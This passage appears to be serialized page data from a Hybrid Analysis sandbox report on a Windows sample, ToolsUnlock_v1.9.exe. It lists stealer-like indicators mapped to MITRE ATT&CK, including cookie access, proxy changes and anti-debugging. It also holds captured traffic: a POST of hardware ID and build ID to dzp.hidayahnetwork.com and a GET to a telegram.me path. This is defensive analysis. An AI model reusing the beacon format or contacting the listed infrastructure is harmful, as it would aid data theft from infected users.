ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"ToolsUnlock_v1.9.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procInitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procUpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procInitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")\n Found reference to API \"syscall.procUpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"ToolsUnlock_v1.9.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"ToolsUnlock_v1.9.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$54","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$55","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procNetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procNetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00006184.00000001.136997.F7F90000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"remove\" (Source: ToolsUnlock_v1.9.exe, API is part of module: MSVCRT.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"ToolsUnlock_v1.9.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"ToolsUnlock_v1.9.exe\" at 00000000-00006184-00000C15-1108969968","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"ToolsUnlock_v1.9.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\")\n \"ToolsUnlock_v1.9.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"ToolsUnlock_v1.9.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"ToolsUnlock_v1.9.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")\n \"ToolsUnlock_v1.9.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\ToolsUnlock_v1.9.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$56","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 104.21.20.183 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA\" matched process \"00000000-00006184\" as \"Detects Windows executables referencing non-Windows User-Agents\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve browser cookies using SQL","description":"$57","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-692","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser cookies (file access)","description":"\"ToolsUnlock_v1.9.exe\" attempting to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"ToolsUnlock_v1.9.exe\" attempting to open a file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"","origin":"API Call","mitre_attack_id":"T1539","relevance":10,"id":"api-301","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"$58","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$59","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"ToolsUnlock_v1.9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateFileA\n VirtualAlloc\n GetSystemInfo\n WriteFile\n GetProcAddress\n GetThreadContext\n GetSystemDirectoryA\n CreateThread\n LoadLibraryW\n LoadLibraryA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"ToolsUnlock_v1.9.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"malicious","category":"General","name":"The input sample is signed with an invalid certificate","description":"Error: A certificate chain could not be built to a trusted root authority. (0x800b010a)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-1","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST / HTTP/1.1\nHost: dzp.hidayahnetwork.com\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0\nContent-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdg\nCache-Control: no-cache\nContent-Length: 254\" with payload:==> \"------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name=\"hwid\"266B994DEC02057C6F4E-d27478a5-2058------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name=\"build_id\"0fd283fb7aad3c007cceb5af76ee0633------h0CQzFBu9J3Nbroc3pdg--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":63,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":6,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":null,"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"69fdf072a3f358a4db0a7584","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":83,"malware_family":"W64.Evo","contacted_countries":["GBR"],"submit_name":"ToolsUnlock_v1.9.exe","analysis_start_time":"2026-05-08T14:17:24+00:00","indicators_count":{"informative":190,"suspicious":32,"malicious":3},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"address":"104.21.20.183","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"dns_resolutions":[{"domain":"dzp.hidayahnetwork.com","address":"104.21.20.183","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":57,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"http_requests":[{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/hgo9tx","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /hgo9tx HTTP/1.1\nHost: telegram.me\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"host":"dzp.hidayahnetwork.com","host_ip":"104.21.20.183:443","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nHost: dzp.hidayahnetwork.com\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}],"processes":[{"pid":6184,"ppid":0,"name":"ToolsUnlock_v1.9.exe","command_line":"","sha256":"e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146","normalized_path":"C:\\ToolsUnlock_v1.9.exe","uid":"00000000-00006184","icon":"$5a"}],"all_imported_dlls":["kernel.appcore.dll","crypt32.dll","iertutil.dll","imagehlp.dll","imm32.dll","IPHLPAPI.DLL","urlmon.dll","rsaenh.dll","cryptnet.dll","winnsi.dll","gpapi.dll","OnDemandConnRouteHelper.dll","combase.dll","bcryptprimitives.dll","shlwapi.dll","VxSSL64.dll","win32u.dll","msvcp_win.dll","KernelBase.dll","gdi32full.dll","sechost.dll","oleaut32.dll","profapi.dll","sspicli.dll","cryptbase.dll","winmmbase.dll","ntdll.dll","windows.storage.dll","wininet.dll","mswsock.dll","schannel.dll","winmm.dll","gdi32.dll","msvcrt.dll","FWPUCLNT.DLL","ntasn1.dll","msIso.dll","ncrypt.dll","dnsapi.dll","kernel32.dll","cryptsp.dll","cfgmgr32.dll","powrprof.dll","shell32.dll","winhttp.dll","nsi.dll","GdiPlus.dll","SHCore.dll","ws2_32.dll","advapi32.dll","dpapi.dll","fltLib.dll","ucrtbase.dll","bcrypt.dll","rasadhlp.dll","ncryptsslp.dll","apphelp.dll","rpcrt4.dll","msasn1.dll","ole32.dll","user32.dll","mskeyprotect.dll","wintrust.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6184:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6184:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Local\\SM0:6184:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"SM0:6184:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"SM0:6184:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6184:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}]}},"report_ids":{"sandbox_job_ids":["69fdf072a3f358a4db0a7584"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample e86e9b70fb4b… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e86e9b70fb4b…. Malware family: Win/malicious_confidence_100%. Threat score 83/100. 5/28 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample e86e9b70fb4b… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e86e9b70fb4b…. Malware family: Win/malicious_confidence_100%. Threat score 83/100. 5/28 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample e86e9b70fb4b… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e86e9b70fb4b…. Malware family: Win/malicious_confidence_100%. Threat score 83/100. 5/28 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5b","11",{}]]